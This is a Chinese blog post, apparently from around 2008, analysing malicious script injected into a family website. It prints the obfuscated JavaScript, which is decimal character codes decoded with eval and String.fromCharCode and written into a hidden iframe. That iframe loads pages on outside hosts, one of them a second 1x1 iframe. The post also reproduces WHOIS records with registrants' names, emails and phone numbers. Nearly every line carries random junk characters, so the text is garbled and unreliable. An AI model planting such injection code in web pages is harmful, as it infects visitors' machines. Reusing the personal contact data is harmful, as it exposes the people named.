首发在我的博客里面，
u~xfI[8C H 8 x66} http://www.areway.cn/?p=175 &wa2MNCG8 ,*kh{lJ 3 9qIoaHT 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
;;|o+4Ob; $ucDz f=o <script>t=’60,105,102,114,97,109,101,
PyoIhe&ep 32,115,114,99,61,104,116,116,112,58,47,47,
H/ 2dVUU 102,114,101,101,46,117,45,117,117,117,46,99,
| LX Vf 110,47,101,114,114,111,114,46,104,116,109,
]?7q%7-e.a 32,119,105,100,116,104,61,49,48,48,32,104,
h/oC9?v 101,105,103,104,116,61,48,62,60,47,105,102,
rD;R9 b"J 114,97,109,101,62′;
C+L_f_6] t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
*t{^P*pc 5O%?J-Hp <script>t=’60,105,102,114,97,109,101,32,115,
#b
eLo J 114,99,61,104,116,116,112,58,47,47,102,114,
<dGp h 101,101,46,117,45,117,117,117,46,99,110,47,
OWys`2W 101,114,114,111,114,46,104,116,109,32,119,
'NNfzh 105,100,116,104,61,49,48,48,32,104,101,105,
Et! 6i7`] 103,104,116,61,48,62,60,47,105,102,114,97,
OQ&'3hv{ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
Kh8 document.write(t);</script>
@tIY%;Bgk 2C
Fgit <html xmlns=”
V7"^ .W* http://www.w3.org/1999/xhtml F{G.dXZZ< “>
/UqIkc <head>
4 KX\'K <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
%Ze]6TP/>< <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
w{WEYS <title>首页 - 爱生活家庭网
,hOi5,|?L b5S4C2Ynq 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
fm0]nT 转换字符串后的大概内容是（谁点击后果自付）：
#F =!g ? <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
5{xK&[wR* #9glGPR( 查询玉米u-uuu.cn的详细信息：
+-!2nk `"a Domain Name: u-uuu.cn
l*w*e.ezQ ROID: 20070901s10001s64972306-cn
hLr\;Swyp Domain Status: ok
/o^/ J~/3 Registrant Organization: 王雷
_+9o'<#u( Registrant Name: 王雷
> } E Administrative Email:
czlovexs@126.com G3o `\4p Sponsoring Registrar: 北京万网志成科技有限公司
}60/5HNr Name Server:ns.yovole.com
$jOp:R&I^3 Name Server:ns1.yovole.com
r+!29 Registration Date: 2007-09-01 17:54
hCb2<_3CR Expiration Date: 2008-09-01 17:54
r4M;] 最后PING了一下地址 都没有什么….
.*X=JFx l U1W8f|u 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
:6 qt[(<" <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
]
T<#bNK\1 <script language=”javascript” src=”
| va^l T http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script TT oW>RP# >
%i.Prckrb 这个玉米应该有可能是木马作者的：
N;v]ypak foafau.info的详细信息：
9>@Vk
vpY Access to INFO WHOIS information is provided to assist persons in
R2A#2{+H determining the contents of a domain name registration record in the
X4<Y5?&0 Afilias registry database. The data in this record is provided by
{TZV^gT4 Afilias Limited for informational purposes only, and Afilias does not
DB+oCE< .# guarantee its accuracy. This service is intended only for query-based
bao"iv~z access. You agree that you will use this data only for lawful purposes
FeNNzV= and that, under no circumstances will you use this data to: (a) allow,
qfX26<q enable, or otherwise support the transmission by e-mail, telephone, or
"QvTn= facsimile of mass unsolicited, commercial advertising or solicitations
N F,<^ u to entities other than the data recipient’s own existing customers; or
CiV^bYi (b) enable high volume, automated, electronic processes that send
^ib
=fLu queries or data to the systems of Registry Operator, a Registrar, or
mqtYny' Afilias except as reasonably necessary to register domain names or
&3OV |ly] modify existing registrations. All rights reserved. Afilias reserves
R;zf x/ the right to modify these terms at any time. By submitting this query,
uO)vGzt3^x you agree to abide by this policy.
2; K2|G7 Domain ID:D22418703-LRMS
&O5O@3:7] Domain Name:FOAFAU.INFO
`n RF"T_ Created On:20-Nov-2007 16:05:42 UTC
+{#L,0t Last Updated On:20-Nov-2007 16:05:44 UTC
g2? yT ? Expiration Date:20-Nov-2008 16:05:42 UTC
hEFOT]P4 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
_\gCdNrD Status:CLIENT DELETE PROHIBITED
]v]tBVO$ Status:CLIENT RENEW PROHIBITED
"d`u#YmR Status:CLIENT TRANSFER PROHIBITED
7&dK_x,a Status:CLIENT UPDATE PROHIBITED
6!se,SCvw Status:TRANSFER PROHIBITED
- ykD/ Registrant ID:GODA-040110615
* ,zrg%8 Registrant Name:liu hong
e{H( Registrant Organization:
n]6-`fpD Registrant Street1:beijing
Vg(M ^2L Registrant Street2:
Iw^Q>MrT Registrant Street3:
DYoGtks( Registrant City:beijing
dZo x;_b Registrant State/Province:
{:|b,ep
T Registrant Postal Code:100000
t Xuf ! Registrant Country:CN
.Q^V,[on1T Registrant Phone:+86.860108888777
f RT4>So Registrant Phone Ext.:
m L-6+pJ@ Registrant FAX:
oQ A,57B Registrant FAX Ext.:
m Ga :~ x Registrant Email:bbbshiji@163.com
ExM VGe Admin ID:GODA-240110615
.K] Uk/W Admin Name:liu hong
>?#zPweA Admin Organization:
l&*=
.Zc7! Admin Street1:beijing
^]D+H9Tl Admin Street2:
Sx8C<S5r< Admin Street3:
MxH |yo[ Admin City:beijing
!b=W> 5h Admin State/Province:
* ^w}SE( Admin Postal Code:100000
Ss0I{0 Admin Country:CN
>=:^N- a Admin Phone:+86.860108888777
_Ie:!q Admin Phone Ext.:
sm;kg= Admin FAX:
H@u5 & Admin FAX Ext.:
e,r7UtjoxR Admin Email:bbbshiji@163.com
s7 sTY Billing ID:GODA-340110615
a`[9<AM1# Billing Name:liu hong
{5fL!`6w Billing Organization:
Uy.ihh$I- Billing Street1:beijing
^^lx Ot Billing Street2:
:[CEHRc7x Billing Street3:
mlPvF%Ba Billing City:beijing
! >V)x Billing State/Province:
, 6Jw Billing Postal Code:100000
Qm=iCZ|E^! Billing Country:CN
_''un3eCY Billing Phone:+86.860108888777
/\;m/cwrl" Billing Phone Ext.:
MMUlA $*t Billing FAX:
l|{[vZpT Billing FAX Ext.:
nW}
s Billing Email:bbbshiji@163.com
xQ2: tY#? Tech ID:GODA-140110615
CB
X}_]9X Tech Name:liu hong
)\j
dF-s Tech Organization:
1J72*`4O K Tech Street1:beijing
S;y 4Z:! Tech Street2:
Bnk ' Tech Street3:
>t<\ zC|~w Tech City:beijing
r6R@"1/ Tech State/Province:
c-v-U O% Tech Postal Code:100000
RehraY3q Tech Country:CN
B=$O4nW_b Tech Phone:+86.860108888777
?20R\
]U Tech Phone Ext.:
$7ix(WL<% Tech FAX:
lD, ~% Tech FAX Ext.:
"vT$?IoEV Tech Email:bbbshiji@163.com
I!Z"X& Name Server:NS27.DOMAINCONTROL.COM
i(OeE"YA Name Server:NS28.DOMAINCONTROL.COM
6B%
h Name Server:
!A1~{G2VL_ Name Server:
?
|#dGk g Name Server:
*G7cF Name Server:
YRCs&tgs Name Server:
mU~&oU Name Server:
N'-[>w7vK2 Name Server:
U$<"
. q Name Server:
&r~s3S{pQ Name Server:
QQ_7Q^ Name Server:
H9PnJr8 \ Name Server:
1q@R04 i 4P"bOt5izR 接着下载每个文件里面的代码：
kN78j 一步一步看..
I{r*Y9 
l^Ofl ZC~ 
"DA%vdu 
_Gf-s51s 
M0~%[nX 
qv}ECQ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
